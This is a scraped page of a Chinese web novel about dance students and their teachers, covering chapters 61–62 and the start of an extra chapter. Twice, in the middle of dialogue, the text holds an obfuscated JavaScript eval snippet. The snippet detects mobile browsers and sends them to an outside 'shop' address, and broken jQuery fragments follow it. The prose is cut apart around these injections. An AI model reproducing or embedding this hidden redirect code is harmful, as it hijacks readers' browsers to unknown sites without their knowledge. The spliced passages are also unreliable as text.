虽然已经是开学前夕,教学楼里开放的教室并不多。萧泽在仅有的两 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何钦见状连忙后撤了两步把位置让出来。林晓希也知道学长是要亲自来,还是在人来人往的大教室……立时整个人都不由得紧张起来,哪有心再回话。 重新撑起上身,尽力将手臂向头后送去…… 萧泽拽着他一只手腕,扭头跟何钦解释,“他肩好,这么压不管用。” “抱起来。” 感觉手腕被轻轻捏了捏,林晓希心里一紧,会意地将双臂交叠在一起。牙齿却也不禁攀上了嘴唇,紧张地摩挲着。 萧泽这才双手扶上他手臂,慢慢把人往下带,“深呼吸。” 每一次吸气都会微微停下,每一次呼气才又缓缓向下。晓希已经咬不住嘴唇,只是尽力将每一次呼气都徐徐拉长,人也随之渐渐向身后折叠过去。 臂弯到腿还有十几公分距离的地方,手上的阻力明显大了起来。萧泽扫了眼垫子上不经意滑动的身体,退了半步,双脚也朝里挪了挪,“别溜。” 一直安分搭在臂弯上的指尖因这一下突然蜷缩起来,晓希似是难耐地皱起眉,原本匀长的呼气也渐渐凌乱又短促起来。 “呼吸别乱。” 萧泽微微提高音量提醒他。等着几个呼吸过后,这一口气吸满、缓缓吐出的时候 ,才终于使力,将人一点点向下压去。 林晓希喉间传来喑哑的一声闷哼。何钦只见他浑身发着抖,指尖紧紧扣进了皮肉里。萧泽显然对这样的紧绷并不满意,语气渐渐冷了下来,“放松!该吸气吸气。” 林晓希眉眼都紧锁在一起,一片黑暗中,与方才如出一辙的窒息感再次袭来。他一面拼了命地想要呼吸,一面只觉得气管好像也被紧紧折叠,透不出一丝缝隙。 “放松!太紧了!” 学长扶着他手臂轻轻摇了摇,晓希才陡然意识到自己交叠的双臂在晃动中丝毫没有分开:从指尖到肩膀都紧绷地几乎痉挛。他连忙松开双手,任小臂自然的垂在头后。于是随之而来的,胸腔中忽然涌起一丝熟悉的意识,好像他的喉咙只要松开个口子,空气便能源源不断地输送进来。 林晓希跟随着那股熟悉的意识,尽力放松身体。一直紧闭的通道忽然打开,新鲜的空气瞬间涌入的胸腔。可是下一秒,被空气填满的胸腔也同样挤压着已经极度弯折的脊椎。痛觉忽然加倍的炸裂开,林晓希心口一颤,几乎要把那一口气重新憋回去。可是他不敢,也不能:这腰是他自己要练,他也早不是任性小孩子的年纪了。 萧泽没有给他更多犹豫的机会,伴随着下一次吐气,双臂再次用力,拽着他手肘朝地上压去。“嗯……” 一声痛呼终于止不住冲出喉咙。哪怕意志如何坚定,身体却不受控制。林晓希修长的手指艰难地杵在地上,用力地绷直,拒绝头顶再向地面靠近一丝一毫。 几乎是肉眼可见的一瞬,手下的孩子整张脸就都被冷汗浸透。聚集起无数皱褶的眼角也清晰地渗出一丝水迹来。萧泽少见他这般失态的样子,知道是疼极了。可感受着手下止不住的颤动,话到嘴边,还是冷静的不带一丝温度,“手拿开。” 林晓希一颤,下意识地想要去咬嘴唇。可极致的延展下,好像这样一个寻常的动作也不可能了。 ”听话。“ 萧泽目光所及,一直坚定撑着地的手指似是松了松……哪怕在铺天盖地的疼痛里仍然挨不住地想要对抗,却又在指尖每一次伸向地面的瞬间,怯怯地收回掌心里。 腰是可大可小的事,容不得在这个位置上左右纠缠。 萧泽双手往下挪了挪,一边掐住他臂弯,一边用剩下的三根手指拨开小臂。眼神在孩子汗湿的小脸上停留片刻,终究狠了狠心,压着他手肘直接贴到了膝窝上。 65. 第61章 何钦如石化般呆立在旁边,被此情此景震撼得说不出话来。 他第一次见到林晓希跟着萧学长练功,从没想过是这样的。 他以为他知道的。 尖子嚒……条件好,功好,“祖师爷赏饭吃”。被给予厚望也是自然,所以不管课上课下,老师们难免要求高点儿,严点儿,甚至人也凶一点儿。 人家耗三分钟,你耗五分钟,人家踢50腿,你80腿,人家在垫子上,你要上板凳……舞校里哪堂课上没有一两个老师的心头好,诸如此类的“重点”关照,大家早都司空见惯了。 林晓希也是在大家的眼皮子下面这么过来的。 诚然何钦眼里的林晓希比其他人都强上许多,他那份努力到跟自己过不去的自律,没少让他既佩服又心疼。可就是这样的林晓希……此刻紧锁着眉头,眼角湿湿地泛着红,修长的十指无措又徒劳地抓挠着垫子。 那可是胳膊肘顶着膝窝啊,何钦喉结动了动了,倒吸了口凉气。极度地拉伸下,晓希本来就又细又薄的腰腹深深地凹陷下去,腰腿之间被挤压地仿佛只能容下一拳的距离。那是男生女生们想都不敢想的软度。 何钦错开眼光,不忍再看他在萧学长手下止不住地打着颤。 老师们常说,要出挑,要当尖子,就是别人做不到的你能做到,别人做得到的,你能做的更好。 原来林晓希这一条从无到有,从好到更好的路,走得比他想象的艰难的多…… 他不禁想起小时候晓希一放学就急匆匆地赶去文导那里的样子…好像没有哪次不是压着第二遍熄灯的铃才’风尘仆仆‘地赶回来。每每到了深夜,都还听见隔着一层床板下的他嘶着气小心翼翼地翻身,酸疼地辗转反侧、难以入眠。 后来遇到萧学长,但凡有能跟着一起练功的时候,他都高兴得什么似的。可哪次回来,不是白着脸强打着精神与他们玩笑,嘴上从不缺一道道的血口子。 那时何钦只是感叹,跟着这样的老师们,是太辛苦了。可看着眼前的这一幕,他好像才第一次对“辛苦”两个字有了真正的解读。 单单只是因为练习间无需过多言语的默契,单单只是看见萧学长零星几字的提点下晓希眼底闪过的怕和委屈,何钦已经可以想见这看得他揪心的场面不过是他们师徒间的日常。 所以从前的无数次,那个无论课上任务多重都能面不改色挺下来的林晓希,回到寝室时总是已经疲惫到无暇遮掩……他的一天,就是这样度过的吧。 林晓希颤着手臂撑起身子,安静地蹲在垫子一头,将脸都埋在双膝间。身后学长的双手大力地在他腰背上摩挲着,阵阵温热透过薄薄的背心传递到皮肤深处,从后腰到胸椎的一整片酸软难耐似乎都缓解了些。 “今天不错,去吧。” 屁股上被轻拍了两下,林晓希微微一愣,不禁抿紧嘴唇,被少有的”哄小孩子“的方式惹的红了脸。 ”你就这么看着?“ 林晓希起身去一边活动,萧泽突然回过身看向一直发呆的何钦。 ”木鸡“何钦被看的一哆嗦,感觉自己腰都立刻跟着疼了起来。 他附中的时候上过萧学长每周三的大师课,虽说没被如此”特殊照顾“过,但学长的气场和‘手段’他还是相当记忆犹新的。 ”练!练……我也练、我也练……“ 何钦僵硬着步子走去把干旁,满脑着想着今日诸事不宜,一顿羊腿坑的轻了。 ———————————————————————————— “我送晓希回家,何钦要去哪儿吗?载你一程。” 正午的太阳晃得人睁不开眼睛,三人一起走出教学楼的大门,萧泽问何钦。 “不用不用,我直接回寝室。谢谢学长!” 教学楼门前有几节台阶,何钦自问“演技”不如林晓希,努力绷着还是抖抖嗖嗖地迈下去的。 萧泽看在眼里,不禁笑了,“今天是晓希连累你了,跟他算账。” 何钦吓得连忙摆摆手,“不连累不连累!这是求之不得的事儿呢……我这也是萧学长亲自掰过,亲自盯着控过得腿了。拎到女寝门前开放合影,没准一张五块呢。” “就贫吧你!”萧泽无奈地摇摇头,看着晓希抬腿又给了他一脚。”还得让刘老师收拾你们。“ “嘿嘿……你们快走吧,我也走了。萧学长再见!“ 何钦笑嘻嘻地送走萧泽和林晓希,自己也转身朝宿舍走去。 那天之后,舞院里又有了新的小道消息:萧泽在二楼的大练功房里把一个大一新生”收拾“的不轻。那位‘大一新生’自然仍然是上一条八卦的主人公——林晓希。 何钦不知道有多少人依旧会妒忌、依然会眼红、依然会阴阳怪气,冷言冷语;可他知道至少这一天练功房里与他一样被震撼到的学生们,一定能看明白,名师的看重,萧泽的嫡系,不是谁都受得起。而他们之中也一定有人会开始相信,林晓希今天得到的一切机会,成就,甚至是嫉妒,都是他凭苦出来的实力,自己挣来的。 ————————————————————————————— 到了平日该上床睡觉的时间,仍不见萧泽回房。钟彦霖有些担忧的拧起眉毛,轻着脚步走到楼下的练功房去。 推开门,那家伙果然在。 后腿膝盖架在高高的凳子上,前腿离地面只剩下若即若离的距离。萧泽双手拄着膝盖,盯着脚前的地面出神。 “还不休息?” 钟彦霖揽着他侧脸抬起头来,萧泽略有些惊讶地回过神,脸上还带着些迷茫。他一点都没听见彦霖进来的声音。 “嗯…这几天忙,在练功房里待的时间短了。” 大概是不习惯练功的时候有这样暧昧的姿势,萧泽把彦霖的手从脸上牵下来,牢牢握在自己双手之间,搭在膝盖上。 钟彦霖盯着他鬓角滑下的一滴汗,心里不太舒服。他从不拦着萧泽练功,这么多年来萧泽对自己多狠都好,他都陪过来了……他只是不喜欢他有心事的时候,就靠折腾自己排解。“还在为承儿的事发愁 ?” 那一天彦承因为练翻挨了竹条 ,扑在萧泽怀里大哭了一场。萧泽没想到他考学的压力那么大,当晚和彦霖说完,却还是自责的难以入睡。想来想去,都觉得是自己逼得太紧,忽略了孩子的心理状态。 承儿半路出家,哪怕再有天赋,与别的孩子差的,也是好几年的功底。萧泽知道他一心奔着首都舞院去,又本来就是眼里不揉沙子的性格,平日里练功,难免苛责多,鼓励少。在孩子眼里,恐怕是要求越来越高,永远也没个头。这样练,哪能不焦虑呢? 只要一这样想,萧泽心底就泛起一阵内疚。于是几乎连他自己都没有意识到的,“自虐”‘般地又向下沉了沉胯。 彦霖敏感地察觉到这副纤长身体的微微颤动,眉间不禁闪过一丝不安却又极快地舒展开。他拿起另外一只手盖在萧泽手背上,不厌其烦地安慰,“高考的压力人人都有,当初你有,我也有。承儿不自信,又格外看重舞院,心理包袱难免更重一些。既然发现了,我们想办法帮他排解就是了,你这样……可没帮助。” 爱人的嘴角藏着一丝促狭的笑容,萧泽有些诧异地偏了偏头,反应过来时,不禁又急又无奈地蹙辩驳,“我没有,你不知道,一特——” “一天不练自己知道!三天不练观众知道,两分钟不练,你萧泽就知道!” 彦霖接过话头不给萧泽说下去,这一套一套地念完,终于是逗得他无奈地笑了。 “起来吧,” 钟彦霖拉着萧泽起身,推着他肩膀朝门口走。“天黑了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239563|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己睡怕黑。” ——————————————————————————————— “钟彦承?” “到!” 钟彦承站在一群男孩子中间,听见自己名字,有些不自在地喊了声“到”。人群中仿佛投射过来无数道目光,老师抬头看了他一眼,低头在本子上勾了一下。 这是城郊综合艺术区里的一间舞蹈工作室,也是首都众多艺考培训机构中,数一数二的一家。这间工作室的老师兼负责人是萧泽哥的好朋友。今天一早,萧泽哥就开着车,把他带到了这儿。 “萧泽哥,我真的要在这儿上一周课?” 早上副驾上的他有些局促地捏着身下的座椅,看着艺术区层层叠叠的广告牌和门脸渐渐在眼前展开来,心却一点点提了起来。 “嗯,今天试试?不喜欢的话,就少上几天。” 之前萧泽哥来问自己的意见,愿不愿意出来跟别的老师上上课。萧泽哥是想着自从他开始学舞,身边的同伴除了晓希也就只有思思,也许出来上上集体课,多一些横向比较,能让他对自己对艺考都多一些了解。 彦承想着是有道理的,便痛快地答应了。可现下……突然被留在陌生的环境陌生的人群中,他竟然有了种第一次被送进幼儿园的无助感。 钟彦承,你可太没出息了…… “诶,你是哪个学校的啊?” 课前热身的时间,站在他身边的男孩子热络地过来聊天。 彦承礼貌地同他打招呼,“我是理大附中的。” “理大?” 男生愣了下,又恍然大悟地点了点头,“哦哦哦——你是普高的啊。“ ”哦对对,普高普高。“ 彦承有些尴尬地挠挠眉梢,因为不太能熟练掌握“艺考”用语,感觉有点“水土不服”。 ”哇……厉害厉害厉害。那你要报什么学校啊“ 这间舞蹈工作室里的艺考生们多是这一届的好苗子们,要报考的也都是首都前几名的舞校。所以多半都是专业的附中出来的,普高的考生只有个零星几个。 ”没有没有没有 ……“ 一连串地赞叹搞得彦承格外汗颜,提起要报考的专业,更是不好意思张嘴。”我还没想好,你呢?“ 男孩倒是爽朗的很,”我想考古典舞表演系,可惜考不上嘿嘿。估计教育……或者编导吧,能进首舞就行。“ ”教育和编导,会更容易些?“ ”啊?你不知道那条鄙视链吗?“ 男孩撑着把杆举起腿到耳边,”这是表演。” 腿降了一格,“这是教育。” 又降了一格, “这是编导。“ 彦承第一次听说这套说辞,也一直觉得鄙视链这种东西很没有意义,不禁下意识皱了皱眉。”编导,不也很厉害吗?去年首舞附中的第一……不就报了编导吗?“ 这样第一次在人前这样侧面夸自己的……自己的……男朋友,彦承不自觉的有些脸红。 男孩没有留意到他脸色的变化,只是一听到林晓希的名字就激动起来。 ”那是他!他去哪儿谁也不会说他说不行啊。你知道他们那届表演系被称为’史上最惨表演系‘吗?高考大榜的专业第一第二全在编导系。还没开学就一个参加了萧泽的舞剧,一个学校选送出去参赛。这也是舞院近几年最奇葩的新闻了。 “ 彦承听着眼前的男孩侃侃而谈,心底生出一丝奇异的甜蜜与骄傲来。他自然一直都知道晓希优秀的,可是从陌生人口中听来,竟然格外的受用。 ”你刚才说,你也想考古典舞表演系?“ ”哎”,男孩被拉回正题,脸上露出一丝丝遗憾。“只是想而已。每年就一个男班,全国只招16个人,哪里轮得上我呢?“ ”什么?!16个人?“ 彦承几乎没有意识到自己陡然拔高的音量,心一下就凉了半截。 66. 第62章 人人都有脆弱的一面 “来,小萧。” 与外面墙上简单粗暴地挂满了教师简介和学生战绩的接待室不同,周老师这间小办公室收拾的格外考究。 萧泽坐在茶台边,双手接过对面人递过来的茶,却没急着递到嘴边,“谢谢周老师,这次麻烦您了。” “哪里话。这么多孩子在这儿呢,差你那一个?” 周老师曾是首舞的老师,从前也教过萧泽的。只是他早早看到艺考这一条路子便从学校系统里出来。经营了这么多年,已经是金字招牌,全国艺考的孩子都往这儿跑。忙归忙,日子过得与从前却是天差地别了。 “一直听说你新带了个小孩儿。还想着有机会看看什么样子的孩子能入你的眼,没想到你真给带来了。” 大概是当年江尧的事情人尽皆知,又或者是因为萧泽在圈子里的地位,大家对他的事情,总格外关注些。 萧泽无奈地笑笑,“您知道我不挑那个的。他哥哥和我们家是世交,自己弟弟一样的,非想学,就教了。” ”哦,这么回事儿…“ 周老师给两人都续了茶,突然想起了什么似的,朝门外扬了扬下巴。“话说我这外面的有些孩子和家长,可都不是省油的灯。早上你们进来,眼睛都盯着呢。这回记住了是你的学生,回头艺考少不了又得有嚼舌头的。早知道你就该让孩子自己过来。” “哎,没事的。” 这事萧泽倒是看开了,“他要是真考上了首舞,早晚也都知道是我的学生。该来的总会来的。” 这么多年,他这个淡然的性子是最招人喜欢的。周老师点点头,话题又回到正事上来,”要报什么系,定了吗?“ 萧泽撂下茶杯的手顿了顿,面上终于是看到了一丝犹豫。“他挺想考古典舞院的。但能不能上…还不好说。“ 彦承要上,就得大大方方地考进去。可男班每年这紧紧巴巴的名额……萧泽自己心里也没有100%的把握。 周老师倒是也不意外,才练了一年多就敢把人往古典舞院送的,也就是他萧泽一个了;再怎么谦虚,毕竟是萧泽亲自教的学生,怎么可能不瞄着塔尖儿。只是……沉吟了片刻,他还是开了口:“小萧,有个事还是多嘴提醒下你。每年首舞的形势你应该也清楚,且不说全国附中的好苗子里压根不参加艺考培训的就有大把,就我这儿大屋里上课的男孩子们,少说也有五六个是奔着古典舞院去的。我跟你说句交底的话,这里面肯定是有跳的不如咱们孩子,但也能考上的……这个,你和孩子说过吗?” 周老师这是实打实的心里话,萧泽心里清楚。艺考这一摊子事儿,猫腻是年年都有的。他毕业这么多年,向来不关心这些,只是如今轮到了承儿,他却不能不替他打算。 “之前我只想着让他踏踏实实地练,先不要关心这些事情。也是想看看艺考前能练到什么程度。如果条件和实力真摆在那儿了,没有上不去的理由。不过周老师提醒的对,该沟通的,还是要提前沟通。这次带他来,也是让他多了解了解。” “那好说,人放在我这儿你就放心吧。他什么时候想来,想上哪门课,都可以。咱们这边的老师,你也都认识。” 两个人许久未见,边喝边聊,时间过得也快。眼看这一壶热水已经见了底,周老师回身添水烧水的功夫,就听见有人敲门。 萧泽透着玻璃看清了来人便迎了上去,“小唐哥。” “诶你怎么在这儿。” 唐骁熟稔地伸出一只手臂与他抱了抱,确实没想到在这儿撞见萧泽。 “他啊,带学生到我这儿找自信来了!” 周老师坐在茶台后面,边给唐骁又烫了个杯子边抢着说到。 萧泽忍不住朝唐骁笑着摇摇头,“别听周老师乱说。听佳姐说你带学生出国比赛了,怎么这么快就回来了。“ ”有个学生水土不服病了,我就先带着她回来。这不才回来就被周老师抓来当劳力。各种压榨,借着你的光才有口茶喝。“ 唐骁一屁股坐下,捏起茶杯冲萧泽使了个颜色,小小一杯茶一口就被他喝干了。周老师拿他的”牛饮“没办法,抢过茶杯,又给他添满了。唐骁与周老师关系一直不错,自从工作室建起来,周老师便常邀请他来上课。唐骁但凡有空,几乎都不拒绝。 ”喏,钟彦承。“ 周老师把刚填的报名表递过来,”小萧的学生,你课上多带带。“ “没问题“。唐骁接过来扫了一眼,脑子里却又想到别的事儿。”话说,我听佳佳说她现在带参赛的那个林晓希也是你的学生?” 萧泽点点头,“也就是有时间帮他查缺补漏,之前在附中都是文导看顾他。” ”那孩子不错“,唐骁倒是不吝称赞。”之前我出国前到佳佳那儿帮她看了一眼,技术啊,表达啊,都不像是还没上大学的孩子。才几天就能把作品吃那么透,不容易。“ ”也是佳姐调-教的好。“ 唐骁不禁歪头打量了下萧泽,”你也学会说漂亮话了?嗨……佳佳的性子你也知道,脾气急,又喜欢‘打击教育’。明明心里喜欢的不得了,面上却不露一点出来。我也听她说了,孩子的压力不小。但国内带比赛的老师里没有比她更好的了,只要能踏踏实实练,不会辜负他的。“ ”小唐哥说哪儿去了。” 萧泽忍不住拍拍他膝盖,“哪还有学生挑老师的,佳姐愿意带他是他的运气。“ 三人如此寒暄了没一会儿,唐骁就要去隔壁上课了。萧泽看看表,差不多时间回团里排练,便也起身告辞。才走到车上,手机便响了起来。萧泽扫了眼来电显示,不禁皱了皱眉,连忙接起来,”妈” “儿子,没打扰到你吧?” 董勤勤知道萧泽白天忙,平时很少这个时间打电话。萧泽接起来前本还有些担心,听着妈妈的语气不像有事,一颗心才放下来。”没有,我正好没事呢。您和爸爸怎么样?“ ”都挺好的。“ 董勤勤语气一惯轻快,这会儿,更是压不住地透出一丝兴奋。”我打电话就是你说,我们刚刚买了机票,十月十号回国去看你。“ ”真的吗?“ 萧泽有些激动地攥紧了手机,自己都不曾意识到声音里隐隐地发着抖。 ”真的!我本来想晚点告诉你,一是给你个惊喜,二来怕你总惦记着。但我也忍不住了!不过……你十月份会很忙吗?“ 母亲小女孩儿一样的语气里透着些期待又透着些小心,萧泽用手指摩挲着膝头裤子的一叠褶皱,声音渐渐瓮了起来,”你们回来,就都不忙的。你们的房子我和彦霖定期都叫人打扫的,回来直接就可以住。当然你们要是愿意住过来,更好,我就是怕爸他……“ 儿子没说完的话,也是这么多年来一直梗在父子心中的结,董勤勤知道这不是一时片刻能解决的事情,便只能扯开话题,”嗨呀,住的事情还有时间,可以晚些再决定。不过我回头把航班信息发给你,你们三个都要一起来接听见没?“ 萧泽眼前有点模糊,不禁弯着嘴角轻声说道,”一定的。“ —————————————————————————————————— “钟彦承。“ ”到!“ 彦承再一次举起手,重复了半小时之前的对话,并且再一次接受了下周围目光的洗礼。 唐骁认了脸,点点头,回身把点名册挂到了墙上。 “有新同学来,我重新介绍下。我姓唐,叫唐骁。是你们的剧目和技术技巧课的老师。王老师病了,到周四前上午的软开和基本功都我来替他上。刚才半小时早功都活动好了吧?” “活动好了。/活动好了!” 教室里参差地响起几声回应。彦承下意识左右打量了下,又连忙把注意力放回到老师身上。他第一次上这样的集体课,哪怕九个人的规模已经是小班教学,他还是不免忐忑。接下来要干什么,应该站在哪儿,有没有队形什么的,老师说的动作不知道怎么办… “等会儿不管干嘛你就站我旁边就行。” 方才与他闲聊的男孩子就站在旁边,好像是看出他的紧张,侧身小声跟他说。彦承冲他感激地点点头,心里稍稍安定了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239564|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “既然接下来几天都是我来给大家上课,那我的规矩说一下。按我的想法,软开课是不应该出现在高考班的,因为这是你们附中就该自己解决的问题。“ 唐骁目光扫过眼前一排男孩子,几个忍不住避开眼神默默抿了抿嘴。”既然你们要求上,就希望你们能拿出准大学生的态度来。一共九十分钟的课,一个人墨迹,就是浪费其他八个人的时间,我不希望花时间在无意义地事情上,懂吗?“ ”懂。” 这次,是全班整齐划一地回答。彦承张张嘴,也跟上了。 他没来由的紧张……这个唐老师,明明是张笑脸。方才笑起来时,又阳光又亲切,却没想到一严肃起来,比孔爵哥还凶。 —————— 虽然课前已经有半个小时的早功,唐骁还是带他们做够了热身。 拖垫子出来的时候,一个个脸都红扑扑的,汗顺着鬓角往下流。彦承也一样,他体能向来不算最好,今天又练得格外卖力。最后甩的那几十腿,也是强撑下来的。他在外面学舞,练好练坏都是萧泽哥的脸面,他不想给人说,萧泽哥的学生不仅跳不好,也吃不得苦。 垫子被七手八脚地摆成两摞,大家三五一组的围着垫子搭腿上去。唐骁让他们照着自己的程度挑哪一摞,宗旨是“着不了地算”。彦承纠结了片刻,还是在矮一点的那边寻了个位置。可没想到才弯腰下去,自己的大名就在练功房里响起,“钟彦承!挪右边去。” 彦承的脸登时就红了半边,他尴尬地站起身,在众目睽睽之下走去旁边,重新下了个竖叉。脚尖、膝盖、腰立直、胯摆正……他数着要领一点点纠正自己,尽力让脸上的温度渐渐降下来。他其实心里有些打鼓:哪怕没上过集体课他也知道,每次老师要求热身特别充分的时候,多半是不好过的。 果然唐骁让他们自己耗了五分钟,才从矮的那边开始压。彦承远远瞅着,眉心就揪了起来。碍于课前立下的那一番规矩,大家都不敢有什么夸张的反应。可彦承也是实实在在瞧见一个个五官都纠结到一起、不住地“嘶嘶哈哈”的模样。 到了他们这一摞垫子旁,几个功最好的被唐骁留在最后,钟彦承首当其冲的是第一个。唐骁弯下身,一手按着他膝盖,一手扶着他腿根微微使力。“不错,学几年了?”许是对他方才自己耗着的进度很满意,唐骁低声问。 这么个姿势,老师的声音清清楚楚地在耳边响起,彦承舔了舔嘴唇,顾不得身后越来越沉重的压力,紧张地回到,“一年……多一点。” “一年?” 这唐骁确实没想到……他以为这孩子跟着萧泽前多少该是练过几年的。那这么看来,他目光扫过彦承绷的紧紧地脚背,心底难得生出几分赞赏,一年练成这样,倒真是不错。 许是老师看到这样的苗子总忍不住犯“病”,唐骁松开手,长腿一跨,直接在彦承腿上坐下了。双手揽着他肋骨下沿一点点,往回搂。 “嗯……” 彦承闷哼了一声,也不知道这一句是答应,还是肆机冲出喉间的一丝呼痛,整个人都不禁条件反射般地僵在一起。 “诶?才夸完你。” 唐骁语气里带着些不悦。 彦承慌忙地咬住嘴唇,双手乖觉地放在身体两侧,人也努力放松、尽力迎合着老师的力道。他知道这不是在家里,由不得他撒娇打退堂鼓。所以哪怕熟悉的撕裂感阵阵袭来愈演愈烈,他还是咬死了牙根,任凭双腿在毋庸置疑的压力下,向更深的角度展开。 “挺好”,似是觉出身下的小孩儿八成受不住了,唐骁才站起身,大手在他背上安抚地拍了下,“耗一会儿。” 钟彦承几不可见地点点头,终于忍不住将双手撑在地上,小心翼翼地松开牙齿。嘴唇上留下两个突兀的深窝,好一会儿,血色才渐渐涌上来。彦承埋着头,小口倒着气,却不知怎么的,胸口泛起一丝酸意直冲鼻尖,“蛰”的他眼睛立时红成一圈。他心里一紧,暗恨自己怎么这样没出息……方才那样疼都忍过来了,可现在, 他想萧泽哥了。 67. 番外IV 旅泛一浮萍 一、前尘 电风扇在房里嗡嗡作着响,屋里只点着一盏橙黄的小台灯。湿闷的天气里,风扇吹出来的风也带着潮热,不怎么解暑。 卧房一侧的小床上,趴着个熟睡的婴儿。小脸儿侧着抵在枕头上,两个小藕臂藏在身下,肉乎乎的小屁股撅的老高。 “他啊,就喜欢这个憨样儿睡觉。” 容慧把滑落下来的小薄被单给儿子盖回去,又拿手绢给他擦着睡了满头的汗。 身旁的丈夫坐在床头,手里攥着张黑白照片,映着灯光,沉默地看。照片上,是一家三口的合照。年轻夫妇的笑容分外灿烂,倒是膝下几岁的小男孩,许是不懂“照相”的意思,呆呆地没什么表情。照片的年代久了,本就不怎么清晰,现下更是已经有些斑驳。 容慧攥着丈夫的手缓声安慰,“早点睡吧,今儿累了。“ 孔越林抬起头,把手附在妻子手上,“我还好,你才辛苦了。” 他们这几日忙着操办后事,今天又在灵堂忙了一天。儿子一直放在岳父岳母家,今晚才接回来。小家伙儿几日没看到父母粘得不得了,整晚都哭闹地缠在容慧身上,才哄睡了,脸颊上还挂着小泪珠。 孔越林深吸了一口气,将照片收在床头的第一层抽屉里。今日灵堂来了许多亲朋和同事,一句句“节哀顺变”下,他只苦笑着应道,病了这么久,已经有些心理准备了。 只是……只剩下夫妻俩的卧房内,孔越林终于忍不住将额头放到容慧肩上,“爸这几年太苦了……”似是觉得有些词不达意,“心里苦。” 他又说。 “我明白。”容慧一下下抚着丈夫的脊背,心里同他一般难受。关于自己母亲的事情,结婚前,越林和她说过一二。所以这几年,她一直知道如何在公公面前避开这一节。 孔越林没有在妻子肩头呆太久,方才情难自禁的举动,已经是二十几年人生里少见的脆弱。 容慧知道这些天来他是强绷着一根弦。他是独生子,家里亲戚又少,老人的白事自然是他自己操持。老爷子的战友多,即便是要一切从简,也要将远道而来的叔伯们都安顿好。到了今天,才算是一切都结束了,他也才腾出时间……难过。 “你看着儿子吧,我去隔壁收拾收拾。”容慧知道他需要些独处的时间,正好还有些父亲的书信没收拾完。孔越林拉住正起身的她,“歇着吧,你也累了,明天收也一样。” “没事,反正我也睡不着。你陪儿子。” 容慧起身离开,慢慢将门掩上了。孔越林看着妻子的身影消失在门后,不禁摇摇头,朝旁边挪了挪,仔细打量着熟睡中的儿子。一岁多的小家伙,长得虎头虎脑的。多亏了他,父亲才又多撑了几个月。孔越林忍不住伸手捏了捏他粉团一样的小脚丫,小家伙怕痒,缩了缩脚,又呼呼地睡过去。 “越林,你来一下。” 隐隐约约地,似是听见妻子在隔壁喊自己。孔越林屏息听了听,果然又听见一声。他低头瞧了眼不曾被惊醒的儿子,快步走到隔壁去。 “怎么了?” 父亲的房间里,妻子捧着张信纸坐在桌边,脸色苍白。孔越林极少在她脸上看到这样的表情,不禁连忙上前揽住她,“怎么了?没事吧?” 容慧没说什么,只是把信递给他。孔越林疑惑地接过来,速速读完,脑子里也被惊的一片空白。 “这……真的假的。” 孔越林捏着信,喃喃自语。他知道这该是真的,却又不敢相信。心脏在胸口崩崩撞个不停,他咽下一口吐沫,却仍觉得喉咙干得很。 “爸夹在这本书里的。我找着钥匙,开了抽屉才看到。我想……” 容慧没有说完。 孔越林似是点了点头,拇指不禁摸索着信落款处的两个小字,陆玲,那是母亲的名字。 他对母亲的记忆很模糊了。小的时候,似乎还记得些更小时候相处的片段。可终究是些零星的画面,日子久了,也都渐渐在脑海里湮没了模样。他向父亲问起过母亲的…也不记得父亲从前是怎样解释的了,只记得,他是从没说过母亲一句坏话的。 她还活着吗? 懂事后,他问过父亲一次。父亲点了头,从那儿之后,他便再没问过一次。他也不知道自己对她是什么心情,说不上想,也说不上恨。 没有想到,二十几年来第一次听到她的消息,竟是因为这样的事情。 孔越林沉默地折起信,兀自消化着这始料未及的消息。 “这什么时候的事了?” 他念叨着从容慧手里接过信封,只瞧了一眼,眉头拧的更紧了,“一年多了…?” 哎,父亲还是怨她的吧,怎么能不怨呢。 二、奔波 孔越林坐在前往新乡的小巴上。阴雨天,路上有些泥泞。车上紧闭的窗子让原本就拥挤逼仄的车厢更加憋闷。他忍不住将窗户拉开一条小缝,湿润清新的空气一丝丝地飘进来。他长舒了一口气,一直萦绕不去的眩晕和恶心才稍稍缓解些许。 “新乡两块新乡两块!到新乡两块了!” 车子靠近路边的站牌停了一脚,售票员拉开窗子把手肘架在窗沿上吆喝。这一站没人上车,售票员“啪”的一声拉上窗户,车子便轰隆隆地开走了。 孔越林忍不住合上眼,仰头靠在椅背和车窗的夹角上。车子颠颠簸簸个不停,他的头也一晃一晃的磕着玻璃。 连日来的奔波,是真让他有点撑不住了。 他想起那一晚,躺在床上直到半夜也睡不着。他问容慧,“小慧,如果……我想接那孩子回来,你怎么想?” 婴儿床上的小孩不知道是做了噩梦还是怎么,忽然哭闹起来,容慧连忙起身将孩子抱在怀里,小孩儿寻着妈妈的怀抱,小脸儿使劲儿地挤进臂弯里。 容慧抱着他在地上转了会儿,等他又睡过去,才坐回床上,“你怎么想?” “不管怎么说,他是我半个弟弟。” 孔越林看着儿子在妻子怀里安心的模样,想想现在不知道流落到哪里没爹没娘的孩子,心底越发不忍,“如果他愿意的话,我想……以后带着他过。” 